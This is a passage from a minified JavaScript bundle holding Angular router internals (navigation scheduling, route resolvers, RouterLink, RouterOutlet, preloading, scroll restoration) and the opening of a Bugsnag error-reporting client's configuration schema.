at(t.id,e.serializeUrl(t.extractedUrl),e.serializeUrl(t.urlAfterRedirects),t.targetSnapshot,!!t.guardsResult);e.triggerEvent(i)}),(0,T.h)(function(t){return!!t.guardsResult||(e.restoreHistory(t),e.cancelNavigationTransition(t,""),!1)}),yn(function(t){if(t.guards.canActivateChecks.length)return(0,h.of)(t).pipe((0,J.b)(function(t){var n=new st(t.id,e.serializeUrl(t.extractedUrl),e.serializeUrl(t.urlAfterRedirects),t.targetSnapshot);e.triggerEvent(n)}),(0,Y.w)(function(t){var n=!1;return(0,h.of)(t).pipe(function(t,e){return(0,W.zg)(function(n){var i=n.targetSnapshot,r=n.guards.canActivateChecks;if(!r.length)return(0,h.of)(n);var o=0;return(0,c.D)(r).pipe((0,Z.b)(function(n){return function(t,e,n,i){return function(t,e,n,i){var r=Object.keys(t);if(0===r.length)return(0,h.of)({});var o={};return(0,c.D)(r).pipe((0,W.zg)(function(r){return function(t,e,n,i){var r=sn(t,e,i);return At(r.resolve?r.resolve(e,n):r(e,n))}(t[r],e,n,i).pipe((0,J.b)(function(t){o[r]=t}))}),O(1),(0,W.zg)(function(){return Object.keys(o).length===r.length?(0,h.of)(o):k.E}))}(t._resolve,t,e,i).pipe((0,G.U)(function(e){return t._resolvedData=e,t.data=Object.assign(Object.assign({},t.data),ue(t,n).resolve),null}))}(n.route,i,t,e)}),(0,J.b)(function(){return o++}),O(1),(0,W.zg)(function(t){return o===r.length?(0,h.of)(n):k.E}))})}(e.paramsInheritanceStrategy,e.ngModule.injector),(0,J.b)({next:function(){return n=!0},complete:function(){n||(e.restoreHistory(t),e.cancelNavigationTransition(t,"At least one route resolver didn't emit any value."))}}))}),(0,J.b)(function(t){var n=new ut(t.id,e.serializeUrl(t.extractedUrl),e.serializeUrl(t.urlAfterRedirects),t.targetSnapshot);e.triggerEvent(n)}))}),yn(function(t){var n=t.targetSnapshot,i=t.id,r=t.extractedUrl,o=t.rawUrl,a=t.extras,s=a.skipLocationChange,u=a.replaceUrl;return e.hooks.afterPreactivation(n,{navigationId:i,appliedUrlTree:r,rawUrlTree:o,skipLocationChange:!!s,replaceUrl:!!u})}),(0,G.U)(function(t){var n=function(t,e,n){var i=ve(t,e._root,n?n._root:void 0);return new oe(i,e)}(e.routeReuseStrategy,t.targetSnapshot,t.currentRouterState);return Object.assign(Object.assign({},t),{targetRouterState:n})}),(0,J.b)(function(t){e.currentUrlTree=t.urlAfterRedirects,e.rawUrlTree=e.urlHandlingStrategy.merge(t.urlAfterRedirects,t.rawUrl),e.routerState=t.targetRouterState,"deferred"===e.urlUpdateStrategy&&(t.extras.skipLocationChange||e.setBrowserUrl(e.rawUrlTree,t),e.browserUrlTree=t.urlAfterRedirects)}),function(t,e,n){return(0,G.U)(function(i){return new Ie(e,i.targetRouterState,i.currentRouterState,n).activate(t),i})}(e.rootContexts,e.routeReuseStrategy,function(t){return e.triggerEvent(t)}),(0,J.b)({next:function(){i=!0},complete:function(){i=!0}}),(0,K.x)(function(){var n;if(!i&&!r){var o="Navigation ID ".concat(t.id," is not equal to the current navigation id ").concat(e.navigationId);"replace"===e.canceledNavigationResolution?(e.restoreHistory(t),e.cancelNavigationTransition(t,o)):e.cancelNavigationTransition(t,o)}(null===(n=e.currentNavigation)||void 0===n?void 0:n.id)===t.id&&(e.currentNavigation=null)}),(0,z.K)(function(i){if(r=!0,function(t){return t&&t[_t]}(i)){var o=Ne(i.url);o||(e.navigated=!0,e.restoreHistory(t,!0));var a=new nt(t.id,e.serializeUrl(t.extractedUrl),i.message);n.next(a),o?setTimeout(function(){var n=e.urlHandlingStrategy.merge(i.url,e.rawUrlTree),r={skipLocationChange:t.extras.skipLocationChange,replaceUrl:"eager"===e.urlUpdateStrategy||Rn(t.source)};e.scheduleNavigation(n,"imperative",null,r,{resolve:t.resolve,reject:t.reject,promise:t.promise})},0):t.resolve(!1)}else{e.restoreHistory(t,!0);var s=new it(t.id,e.serializeUrl(t.extractedUrl),i);n.next(s);try{t.resolve(e.errorHandler(i))}catch(a){t.reject(a)}}return k.E}))}))}},{key:"resetRootComponentType",value:function(t){this.rootComponentType=t,this.routerState.root.component=this.rootComponentType}},{key:"getTransition",value:function(){var t=this.transitions.value;return t.urlAfterRedirects=this.browserUrlTree,t}},{key:"setTransition",value:function(t){this.transitions.next(Object.assign(Object.assign({},this.getTransition()),t))}},{key:"initialNavigation",value:function(){this.setUpLocationChangeListener(),0===this.navigationId&&this.navigateByUrl(this.location.path(!0),{replaceUrl:!0})}},{key:"setUpLocationChangeListener",value:function(){var t=this;this.locationSubscription||(this.locationSubscription=this.location.subscribe(function(e){var n=t.extractLocationChangeInfoFromEvent(e);t.shouldScheduleNavigation(t.lastLocationChangeInfo,n)&&setTimeout(function(){var e=n.source,i=n.state,r=n.urlTree,o={replaceUrl:!0};if(i){var a=Object.assign({},i);delete a.navigationId,delete a.\u0275routerPageId,0!==Object.keys(a).length&&(o.state=a)}t.scheduleNavigation(r,e,i,o)},0),t.lastLocationChangeInfo=n}))}},{key:"extractLocationChangeInfoFromEvent",value:function(t){var e;return{source:"popstate"===t.type?"popstate":"hashchange",urlTree:this.parseUrl(t.url),state:(null===(e=t.state)||void 0===e?void 0:e.navigationId)?t.state:null,transitionId:this.getTransition().id}}},{key:"shouldScheduleNavigation",value:function(t,e){if(!t)return!0;var n=e.urlTree.toString()===t.urlTree.toString();return e.transitionId!==t.transitionId||!n||!("hashchange"===e.source&&"popstate"===t.source||"popstate"===e.source&&"hashchange"===t.source)}},{key:"url",get:function(){return this.serializeUrl(this.currentUrlTree)}},{key:"getCurrentNavigation",value:function(){return this.currentNavigation}},{key:"triggerEvent",value:function(t){this.events.next(t)}},{key:"resetConfig",value:function(t){Ue(t),this.config=t.map(He),this.navigated=!1,this.lastSuccessfulId=-1}},{key:"ngOnDestroy",value:function(){this.dispose()}},{key:"dispose",value:function(){this.transitions.complete(),this.locationSubscription&&(this.locationSubscription.unsubscribe(),this.locationSubscription=void 0),this.disposed=!0}},{key:"createUrlTree",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=e.relativeTo,r=e.queryParams,o=e.fragment,a=e.queryParamsHandling,s=e.preserveFragment,u=n||this.routerState.root,c=s?this.currentUrlTree.fragment:o,l=null;switch(a){case"merge":l=Object.assign(Object.assign({},this.currentUrlTree.queryParams),r);break;case"preserve":l=this.currentUrlTree.queryParams;break;default:l=r||null}return null!==l&&(l=this.removeEmptyProps(l)),function(t,e,n,r,o){if(0===n.length)return _e(e.root,e.root,e,r,o);var a=function(t){if("string"==typeof t[0]&&1===t.length&&"/"===t[0])return new ke(!0,0,t);var e=0,n=!1,r=t.reduce(function(t,r,o){if("object"==typeof r&&null!=r){if(r.outlets){var a={};return Et(r.outlets,function(t,e){a[e]="string"==typeof t?t.split("/"):t}),[].concat(i(t),[{outlets:a}])}if(r.segmentPath)return[].concat(i(t),[r.segmentPath])}return"string"!=typeof r?[].concat(i(t),[r]):0===o?(r.split("/").forEach(function(i,r){0==r&&"."===i||(0==r&&""===i?n=!0:".."===i?e++:""!=i&&t.push(i))}),t):[].concat(i(t),[r])},[]);return new ke(n,e,r)}(n);if(a.toRoot())return _e(e.root,new Lt([],{}),e,r,o);var s=function(t,e,n){if(t.isAbsolute)return new we(e.root,!0,0);if(-1===n.snapshot._lastPathIndex){var i=n.snapshot._urlSegment;return new we(i,i===e.root,0)}var r=ge(t.commands[0])?0:1;return function(t,e,n){for(var i=t,r=e,o=n;o>r;){if(o-=r,!(i=i.parent))throw new Error("Invalid number of '../'");r=i.segments.length}return new we(i,!1,r-o)}(n.snapshot._urlSegment,n.snapshot._lastPathIndex+r,t.numberOfDoubleDots)}(a,e,t),u=s.processChildren?xe(s.segmentGroup,s.index,a.commands):Ce(s.segmentGroup,s.index,a.commands);return _e(s.segmentGroup,u,e,r,o)}(u,this.currentUrlTree,t,l,null!=c?c:null)}},{key:"navigateByUrl",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{skipLocationChange:!1},n=Ne(t)?t:this.parseUrl(t),i=this.urlHandlingStrategy.merge(n,this.rawUrlTree);return this.scheduleNavigation(i,"imperative",null,e)}},{key:"navigate",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{skipLocationChange:!1};return function(t){for(var e=0;e<t.length;e++){var n=t[e];if(null==n)throw new Error("The requested path contains ".concat(n," segment at index ").concat(e))}}(t),this.navigateByUrl(this.createUrlTree(t,e),e)}},{key:"serializeUrl",value:function(t){return this.urlSerializer.serialize(t)}},{key:"parseUrl",value:function(t){var e;try{e=this.urlSerializer.parse(t)}catch(n){e=this.malformedUriErrorHandler(n,this.urlSerializer,t)}return e}},{key:"isActive",value:function(t,e){var n;if(n=!0===e?Object.assign({},Tn):!1===e?Object.assign({},In):e,Ne(t))return Ot(this.currentUrlTree,t,n);var i=this.parseUrl(t);return Ot(this.currentUrlTree,i,n)}},{key:"removeEmptyProps",value:function(t){return Object.keys(t).reduce(function(e,n){var i=t[n];return null!=i&&(e[n]=i),e},{})}},{key:"processNavigations",value:function(){var t=this;this.navigations.subscribe(function(e){t.navigated=!0,t.lastSuccessfulId=e.id,t.currentPageId=e.targetPageId,t.events.next(new et(e.id,t.serializeUrl(e.extractedUrl),t.serializeUrl(t.currentUrlTree))),t.lastSuccessfulNavigation=t.currentNavigation,e.resolve(!0)},function(e){t.console.warn("Unhandled Navigation Error: ".concat(e))})}},{key:"scheduleNavigation",value:function(t,e,n,i,r){var o,a;if(this.disposed)return Promise.resolve(!1);var s,u,c,l=this.getTransition(),h=Rn(e)&&l&&!Rn(l.source),f=(this.lastSuccessfulId===l.id||this.currentNavigation?l.rawUrl:l.urlAfterRedirects).toString()===t.toString();if(h&&f)return Promise.resolve(!0);r?(s=r.resolve,u=r.reject,c=r.promise):c=new Promise(function(t,e){s=t,u=e});var d,p=++this.navigationId;return"computed"===this.canceledNavigationResolution?(0===this.currentPageId&&(n=this.location.getState()),d=n&&n.\u0275routerPageId?n.\u0275routerPageId:i.replaceUrl||i.skipLocationChange?null!==(o=this.browserPageId)&&void 0!==o?o:0:(null!==(a=this.browserPageId)&&void 0!==a?a:0)+1):d=0,this.setTransition({id:p,targetPageId:d,source:e,restoredState:n,currentUrlTree:this.currentUrlTree,currentRawUrl:this.rawUrlTree,rawUrl:t,extras:i,resolve:s,reject:u,promise:c,currentSnapshot:this.routerState.snapshot,currentRouterState:this.routerState}),c.catch(function(t){return Promise.reject(t)})}},{key:"setBrowserUrl",value:function(t,e){var n=this.urlSerializer.serialize(t),i=Object.assign(Object.assign({},e.extras.state),this.generateNgRouterState(e.id,e.targetPageId));this.location.isCurrentPathEqualTo(n)||e.extras.replaceUrl?this.location.replaceState(n,"",i):this.location.go(n,"",i)}},{key:"restoreHistory",value:function(t){var e,n,i=arguments.length>1&&void 0!==arguments[1]&&arguments[1];if("computed"===this.canceledNavigationResolution){var r=this.currentPageId-t.targetPageId;"popstate"!==t.source&&"eager"!==this.urlUpdateStrategy&&this.currentUrlTree!==(null===(e=this.currentNavigation)||void 0===e?void 0:e.finalUrl)||0===r?this.currentUrlTree===(null===(n=this.currentNavigation)||void 0===n?void 0:n.finalUrl)&&0===r&&(this.resetState(t),this.browserUrlTree=t.currentUrlTree,this.resetUrlToCurrentUrlTree()):this.location.historyGo(r)}else"replace"===this.canceledNavigationResolution&&(i&&this.resetState(t),this.resetUrlToCurrentUrlTree())}},{key:"resetState",value:function(t){this.routerState=t.currentRouterState,this.currentUrlTree=t.currentUrlTree,this.rawUrlTree=this.urlHandlingStrategy.merge(this.currentUrlTree,t.rawUrl)}},{key:"resetUrlToCurrentUrlTree",value:function(){this.location.replaceState(this.urlSerializer.serialize(this.rawUrlTree),"",this.generateNgRouterState(this.lastSuccessfulId,this.currentPageId))}},{key:"cancelNavigationTransition",value:function(t,e){var n=new nt(t.id,this.serializeUrl(t.extractedUrl),e);this.triggerEvent(n),t.resolve(!1)}},{key:"generateNgRouterState",value:function(t,e){return"computed"===this.canceledNavigationResolution?{navigationId:t,"\u0275routerPageId":e}:{navigationId:t}}}]),t}();return t.\u0275fac=function(e){return new(e||t)(s.LFG(s.DyG),s.LFG(Ut),s.LFG(Cn),s.LFG(a.Ye),s.LFG(s.zs3),s.LFG(s.v3s),s.LFG(s.Sil),s.LFG(void 0))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t}();function Rn(t){return"imperative"!==t}var Pn=function(){var t=function(){function t(e,n,i){var r=this;_(this,t),this.router=e,this.route=n,this.locationStrategy=i,this.commands=[],this.onChanges=new C.xQ,this.subscription=e.events.subscribe(function(t){t instanceof et&&r.updateTargetUrlAndHref()})}return y(t,[{key:"routerLink",set:function(t){this.commands=null!=t?Array.isArray(t)?t:[t]:[]}},{key:"ngOnChanges",value:function(t){this.updateTargetUrlAndHref(),this.onChanges.next(this)}},{key:"ngOnDestroy",value:function(){this.subscription.unsubscribe()}},{key:"onClick",value:function(t,e,n,i,r){if(0!==t||e||n||i||r||"string"==typeof this.target&&"_self"!=this.target)return!0;var o={skipLocationChange:Nn(this.skipLocationChange),replaceUrl:Nn(this.replaceUrl),state:this.state};return this.router.navigateByUrl(this.urlTree,o),!1}},{key:"updateTargetUrlAndHref",value:function(){this.href=this.locationStrategy.prepareExternalUrl(this.router.serializeUrl(this.urlTree))}},{key:"urlTree",get:function(){return this.router.createUrlTree(this.commands,{relativeTo:void 0!==this.relativeTo?this.relativeTo:this.route,queryParams:this.queryParams,fragment:this.fragment,queryParamsHandling:this.queryParamsHandling,preserveFragment:Nn(this.preserveFragment)})}}]),t}();return t.\u0275fac=function(e){return new(e||t)(s.Y36(On),s.Y36(se),s.Y36(a.S$))},t.\u0275dir=s.lG2({type:t,selectors:[["a","routerLink",""],["area","routerLink",""]],hostVars:2,hostBindings:function(t,e){1&t&&s.NdJ("click",function(t){return e.onClick(t.button,t.ctrlKey,t.shiftKey,t.altKey,t.metaKey)}),2&t&&(s.Ikx("href",e.href,s.LSH),s.uIk("target",e.target))},inputs:{routerLink:"routerLink",target:"target",queryParams:"queryParams",fragment:"fragment",queryParamsHandling:"queryParamsHandling",preserveFragment:"preserveFragment",skipLocationChange:"skipLocationChange",replaceUrl:"replaceUrl",state:"state",relativeTo:"relativeTo"},features:[s.TTD]}),t}();function Nn(t){return""===t||!!t}var Dn=function(){var t=function(){function t(e,n,i,r,o){_(this,t),this.parentContexts=e,this.location=n,this.resolver=i,this.changeDetector=o,this.activated=null,this._activatedRoute=null,this.activateEvents=new s.vpe,this.deactivateEvents=new s.vpe,this.name=r||mt,e.onChildOutletCreated(this.name,this)}return y(t,[{key:"ngOnDestroy",value:function(){this.parentContexts.onChildOutletDestroyed(this.name)}},{key:"ngOnInit",value:function(){if(!this.activated){var t=this.parentContexts.getContext(this.name);t&&t.route&&(t.attachRef?this.attach(t.attachRef,t.route):this.activateWith(t.route,t.resolver||null))}}},{key:"isActivated",get:function(){return!!this.activated}},{key:"component",get:function(){if(!this.activated)throw new Error("Outlet is not activated");return this.activated.instance}},{key:"activatedRoute",get:function(){if(!this.activated)throw new Error("Outlet is not activated");return this._activatedRoute}},{key:"activatedRouteData",get:function(){return this._activatedRoute?this._activatedRoute.snapshot.data:{}}},{key:"detach",value:function(){if(!this.activated)throw new Error("Outlet is not activated");this.location.detach();var t=this.activated;return this.activated=null,this._activatedRoute=null,t}},{key:"attach",value:function(t,e){this.activated=t,this._activatedRoute=e,this.location.insert(t.hostView)}},{key:"deactivate",value:function(){if(this.activated){var t=this.component;this.activated.destroy(),this.activated=null,this._activatedRoute=null,this.deactivateEvents.emit(t)}}},{key:"activateWith",value:function(t,e){if(this.isActivated)throw new Error("Cannot activate an already activated outlet");this._activatedRoute=t;var n=(e=e||this.resolver).resolveComponentFactory(t._futureSnapshot.routeConfig.component),i=this.parentContexts.getOrCreateContext(this.name).children,r=new Ln(t,i,this.location.injector);this.activated=this.location.createComponent(n,this.location.length,r),this.changeDetector.markForCheck(),this.activateEvents.emit(this.activated.instance)}}]),t}();return t.\u0275fac=function(e){return new(e||t)(s.Y36(Cn),s.Y36(s.s_b),s.Y36(s._Vd),s.$8M("name"),s.Y36(s.sBO))},t.\u0275dir=s.lG2({type:t,selectors:[["router-outlet"]],outputs:{activateEvents:"activate",deactivateEvents:"deactivate"},exportAs:["outlet"]}),t}(),Ln=function(){function t(e,n,i){_(this,t),this.route=e,this.childContexts=n,this.parent=i}return y(t,[{key:"get",value:function(t,e){return t===se?this.route:t===Cn?this.childContexts:this.parent.get(t,e)}}]),t}(),Mn=function t(){_(this,t)},Fn=function(){function t(){_(this,t)}return y(t,[{key:"preload",value:function(t,e){return(0,h.of)(null)}}]),t}(),Un=function(){var t=function(){function t(e,n,i,r,o){_(this,t),this.router=e,this.injector=r,this.preloadingStrategy=o,this.loader=new kn(n,i,function(t){return e.triggerEvent(new ct(t))},function(t){return e.triggerEvent(new lt(t))})}return y(t,[{key:"setUpPreloading",value:function(){var t=this;this.subscription=this.router.events.pipe((0,T.h)(function(t){return t instanceof et}),(0,Z.b)(function(){return t.preload()})).subscribe(function(){})}},{key:"preload",value:function(){var t=this.injector.get(s.h0i);return this.processRoutes(t,this.router.config)}},{key:"ngOnDestroy",value:function(){this.subscription&&this.subscription.unsubscribe()}},{key:"processRoutes",value:function(t,e){var n,i=[],o=r(e);try{for(o.s();!(n=o.n()).done;){var a=n.value;if(a.loadChildren&&!a.canLoad&&a._loadedConfig){var s=a._loadedConfig;i.push(this.processRoutes(s.module,s.routes))}else a.loadChildren&&!a.canLoad?i.push(this.preloadConfig(t,a)):a.children&&i.push(this.processRoutes(t,a.children))}}catch(u){o.e(u)}finally{o.f()}return(0,c.D)(i).pipe((0,X.J)(),(0,G.U)(function(t){}))}},{key:"preloadConfig",value:function(t,e){var n=this;return this.preloadingStrategy.preload(e,function(){return(e._loadedConfig?(0,h.of)(e._loadedConfig):n.loader.load(t.injector,e)).pipe((0,W.zg)(function(t){return e._loadedConfig=t,n.processRoutes(t.module,t.routes)}))})}}]),t}();return t.\u0275fac=function(e){return new(e||t)(s.LFG(On),s.LFG(s.v3s),s.LFG(s.Sil),s.LFG(s.zs3),s.LFG(Mn))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t}(),Bn=function(){var t=function(){function t(e,n){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};_(this,t),this.router=e,this.viewportScroller=n,this.options=i,this.lastId=0,this.lastSource="imperative",this.restoredId=0,this.store={},i.scrollPositionRestoration=i.scrollPositionRestoration||"disabled",i.anchorScrolling=i.anchorScrolling||"disabled"}return y(t,[{key:"init",value:function(){"disabled"!==this.options.scrollPositionRestoration&&this.viewportScroller.setHistoryScrollRestoration("manual"),this.routerEventsSubscription=this.createScrollEvents(),this.scrollEventsSubscription=this.consumeScrollEvents()}},{key:"createScrollEvents",value:function(){var t=this;return this.router.events.subscribe(function(e){e instanceof tt?(t.store[t.lastId]=t.viewportScroller.getScrollPosition(),t.lastSource=e.navigationTrigger,t.restoredId=e.restoredState?e.restoredState.navigationId:0):e instanceof et&&(t.lastId=e.id,t.scheduleScrollEvent(e,t.router.parseUrl(e.urlAfterRedirects).fragment))})}},{key:"consumeScrollEvents",value:function(){var t=this;return this.router.events.subscribe(function(e){e instanceof vt&&(e.position?"top"===t.options.scrollPositionRestoration?t.viewportScroller.scrollToPosition([0,0]):"enabled"===t.options.scrollPositionRestoration&&t.viewportScroller.scrollToPosition(e.position):e.anchor&&"enabled"===t.options.anchorScrolling?t.viewportScroller.scrollToAnchor(e.anchor):"disabled"!==t.options.scrollPositionRestoration&&t.viewportScroller.scrollToPosition([0,0]))})}},{key:"scheduleScrollEvent",value:function(t,e){this.router.triggerEvent(new vt(t,"popstate"===this.lastSource?this.store[this.restoredId]:null,e))}},{key:"ngOnDestroy",value:function(){this.routerEventsSubscription&&this.routerEventsSubscription.unsubscribe(),this.scrollEventsSubscription&&this.scrollEventsSubscription.unsubscribe()}}]),t}();return t.\u0275fac=function(e){return new(e||t)(s.LFG(On),s.LFG(a.EM),s.LFG(void 0))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t}(),jn=new s.OlP("ROUTER_CONFIGURATION"),Hn=new s.OlP("ROUTER_FORROOT_GUARD"),Vn=[a.Ye,{provide:Ut,useClass:Bt},{provide:On,useFactory:function(t,e,n,i,r,o,a){var s=arguments.length>7&&void 0!==arguments[7]?arguments[7]:{},u=arguments.length>8?arguments[8]:void 0,c=arguments.length>9?arguments[9]:void 0,l=new On(null,t,e,n,i,r,o,xt(a));return u&&(l.urlHandlingStrategy=u),c&&(l.routeReuseStrategy=c),function(t,e){t.errorHandler&&(e.errorHandler=t.errorHandler),t.malformedUriErrorHandler&&(e.malformedUriErrorHandler=t.malformedUriErrorHandler),t.onSameUrlNavigation&&(e.onSameUrlNavigation=t.onSameUrlNavigation),t.paramsInheritanceStrategy&&(e.paramsInheritanceStrategy=t.paramsInheritanceStrategy),t.relativeLinkResolution&&(e.relativeLinkResolution=t.relativeLinkResolution),t.urlUpdateStrategy&&(e.urlUpdateStrategy=t.urlUpdateStrategy)}(s,l),s.enableTracing&&l.events.subscribe(function(t){var e,n;null===(e=console.group)||void 0===e||e.call(console,"Router Event: ".concat(t.constructor.name)),console.log(t.toString()),console.log(t),null===(n=console.groupEnd)||void 0===n||n.call(console)}),l},deps:[Ut,Cn,a.Ye,s.zs3,s.v3s,s.Sil,bn,jn,[function(){return function t(){_(this,t)}}(),new s.FiY],[function(){return function t(){_(this,t)}}(),new s.FiY]]},Cn,{provide:se,useFactory:function(t){return t.routerState.root},deps:[On]},{provide:s.v3s,useClass:s.EAV},Un,Fn,function(){function t(){_(this,t)}return y(t,[{key:"preload",value:function(t,e){return e().pipe((0,z.K)(function(){return(0,h.of)(null)}))}}]),t}(),{provide:jn,useValue:{enableTracing:!1}}];function Gn(){return new s.PXZ("Router",On)}var Yn=function(){var t=function(){function t(e,n){_(this,t)}return y(t,null,[{key:"forRoot",value:function(e,n){return{ngModule:t,providers:[Vn,Wn(e),{provide:Hn,useFactory:Zn,deps:[[On,new s.FiY,new s.tp0]]},{provide:jn,useValue:n||{}},{provide:a.S$,useFactory:zn,deps:[a.lw,[new s.tBr(a.mr),new s.FiY],jn]},{provide:Bn,useFactory:qn,deps:[On,a.EM,jn]},{provide:Mn,useExisting:n&&n.preloadingStrategy?n.preloadingStrategy:Fn},{provide:s.PXZ,multi:!0,useFactory:Gn},[Jn,{provide:s.ip1,multi:!0,useFactory:Qn,deps:[Jn]},{provide:Xn,useFactory:Kn,deps:[Jn]},{provide:s.tb,multi:!0,useExisting:Xn}]]}}},{key:"forChild",value:function(e){return{ngModule:t,providers:[Wn(e)]}}}]),t}();return t.\u0275fac=function(e){return new(e||t)(s.LFG(Hn,8),s.LFG(On,8))},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({}),t}();function qn(t,e,n){return n.scrollOffset&&e.setOffset(n.scrollOffset),new Bn(t,e,n)}function zn(t,e){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};return n.useHash?new a.Do(t,e):new a.b0(t,e)}function Zn(t){return"guarded"}function Wn(t){return[{provide:s.deG,multi:!0,useValue:t},{provide:bn,multi:!0,useValue:t}]}var Jn=function(){var t=function(){function t(e){_(this,t),this.injector=e,this.initNavigation=!1,this.destroyed=!1,this.resultOfPreactivationDone=new C.xQ}return y(t,[{key:"appInitializer",value:function(){var t=this;return this.injector.get(a.V_,Promise.resolve(null)).then(function(){if(t.destroyed)return Promise.resolve(!0);var e=null,n=new Promise(function(t){return e=t}),i=t.injector.get(On),r=t.injector.get(jn);return"disabled"===r.initialNavigation?(i.setUpLocationChangeListener(),e(!0)):"enabled"===r.initialNavigation||"enabledBlocking"===r.initialNavigation?(i.hooks.afterPreactivation=function(){return t.initNavigation?(0,h.of)(null):(t.initNavigation=!0,e(!0),t.resultOfPreactivationDone)},i.initialNavigation()):e(!0),n})}},{key:"bootstrapListener",value:function(t){var e=this.injector.get(jn),n=this.injector.get(Un),i=this.injector.get(Bn),r=this.injector.get(On),o=this.injector.get(s.z2F);t===o.components[0]&&(("enabledNonBlocking"===e.initialNavigation||void 0===e.initialNavigation)&&r.initialNavigation(),n.setUpPreloading(),i.init(),r.resetRootComponentType(o.componentTypes[0]),this.resultOfPreactivationDone.next(null),this.resultOfPreactivationDone.complete())}},{key:"ngOnDestroy",value:function(){this.destroyed=!0}}]),t}();return t.\u0275fac=function(e){return new(e||t)(s.LFG(s.zs3))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t}();function Qn(t){return t.appInitializer.bind(t)}function Kn(t){return t.bootstrapListener.bind(t)}var Xn=new s.OlP("Router Initializer")},52683:function(t){t.exports=function(){var t=["navigation","request","process","log","user","state","error","manual"],e=function(t,e,n){for(var i=n,r=0,o=t.length;r<o;r++)i=e(i,t[r],r,t);return i},n=function(t,n){return e(t,function(t,e,i,r){return n(e,i,r)?t.concat(e):t},[])},i=function(t,n){return e(t,function(t,e,i,r){return!0===t||e===n},!1)},r=function(t){return"[object Array]"===Object.prototype.toString.call(t)},o=!{toString:null}.propertyIsEnumerable("toString"),a=["toString","toLocaleString","valueOf","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","constructor"],s=function(t){var e,n=[];for(e in t)Object.prototype.hasOwnProperty.call(t,e)&&n.push(e);if(!o)return n;for(var i=0,r=a.length;i<r;i++)Object.prototype.hasOwnProperty.call(t,a[i])&&n.push(a[i]);return n},u=function(t,e){return void 0===t&&(t=1),void 0===e&&(e=1/0),function(n){return"number"==typeof n&&parseInt(""+n,10)===n&&n>=t&&n<=e}},c=function(t){return"function"==typeof t||r(t)&&n(t,function(t){return"function"==typeof t}).length===t.length},l=function(t){return"string"==typeof t&&!!t.length},h={};h.schema={apiKey:{defaultValue:function(){return null},message:"is required",validate:l},appVersion:{defaultValue:function(){},message:"should be a string",validate:function(t){return void 0===t||l(t)}},appType:{defaultValue:function(){},message:"should be a string",validate:function(t){return void 0===t||l(t)}},autoDetectErrors:{defaultValue:function(){return!0},message:"should be true|false",validate:function(t){return!0===t||!1===t}},enabledErrorTypes:{defaultValue:function(){return{unhandledExceptions:!0,unhandledRejections:!0}},message:"should be an object containing the flags { unhandledExceptions:true|false, unhandledRejections:true|false }",allowPartialObject:!0,validate:function(t){if("object"!=typeof t||!t)return!1;var e=s(t),r=s({unhandledExceptions:!0,unhandledRejections:!0});return!(n(e,function(t){return i(r,t)}).length<e.length||n(s(t),function(e){return"boolean"!=typeof t[e]}).length>0)}},onError:{defaultValue:function(){return[]},message:"should be a function or array of functions",validate:c},onSession:{defaultValue:function(){return[]},message:"should be a function or array of functions",validate:c},onBreadcrumb:{defaultValue:function(){return[]},message:"should be a function or array of functions",validate:c},endpoints:{defaultValue:function(){return{notify:"https://notify.bugsnag.com",sessions:"https://sessions.bugsnag.com"}},message:"should be an object containing endpoint URLs { notify, sessions }",validate:function(t){return t&&"object"==typeof t&&l(t.notify)&&l(t.sessions)&&0===n(s(t),function(t){return!i(["notify","sessions"],t)}).length}},autoTrackSessions:{defaultValue:function(t){return!0},message:"should be true|false",validate:function(t){return!0===t||!1===t}},enabledReleaseStages:{defaultValue:function(){return null},message:"should be an array of strings",validate:function(t){return null===t||r(t)&&n(t,function(t){return"string"==typeof t}).length===t.length}},releaseStage:{defaultValue:function(){return"production"},message:"should be a string",validate:function(t){return"string"==typeof t&&t.length}},maxBreadcrumbs:{defaultValue:function(){return 25},message:"should be a number \u2264100",validate:function(t){return u(0,100)(t)}},enabledBreadcrumbTypes:{defaultValue:function(){return t},message:"should be null or a list of available breadcrumb types ("+t.join(",")+")",validate:function(n){return null===n||r(n)&&e(n,function(e,n){return!1===e?e:i(t,n)},!0)}},context:{defaultValue:function(){},message:"should be a string",validate:function(t){return void 0===t||"string"==typeof t}},user:{defaultValue:function(){return{}},message:"should be an object with { id, email, name } properties",validate:function(t){return null===t||t&&e(s(t),function(t,e){return t&&i(["id","email","name"],e)},!0)}},metadata:{defaultValue:function(){return{}},message:"should be an object",validate:function(t){return"object"==typeof t&&null!==t}},logger:{defaultValue:function(){},message:"should be null or an object with methods { debug, info, warn, error }",validate:function(t){return!t||t&&e(["debug","info","warn","error"],function(e,n){return e&&"function"==typeof t[n]},!0)}},redactedKeys:{defaultValue:function(){return["password"]},message:"should be an array of strings|regexes",validate:function(t){return r(t)&&t.length===n(t,function(t){return"string"==typeof t||t&&"function"==typeof t.test}).length}},plugins:{defaultValue:function(){return[]},message:"should be an array of plugin objects",validate:function(t){return r(t)&&t.length===n(t,function(t){return t&&"object"==typeof t&&"function"==typeof t.load}).length}}};var f=function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t},d=function(t,n){return e(t,function(t,e,i,r){return t.concat(n(e,i,r))},[])};function p(){return(p=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}var v=h.schema,m={releaseStage:f({},v.releaseStage,{defaultValue:function(){return/^localhost(:\d+)?$/.test(window.location.host)?"development":"production"}}),appType:p({},v.appType,{defaultValue:function(){return"browser"}}),logger:f({},v.logger,{defaultValue:function(){return"undefined"!=typeof console&&"function"==typeof console.debug?g():void 0}})},g=function(){var t={},e=console.log;return d(["debug","info","warn","error"],function(n){var i=console[n];t[n]="function"==typeof i?i.bind(console,"[bugsnag]"):e.bind(console,"[bugsnag]")}),t},y=function(){function t(t,e,n,i){void 0===i&&(i=new 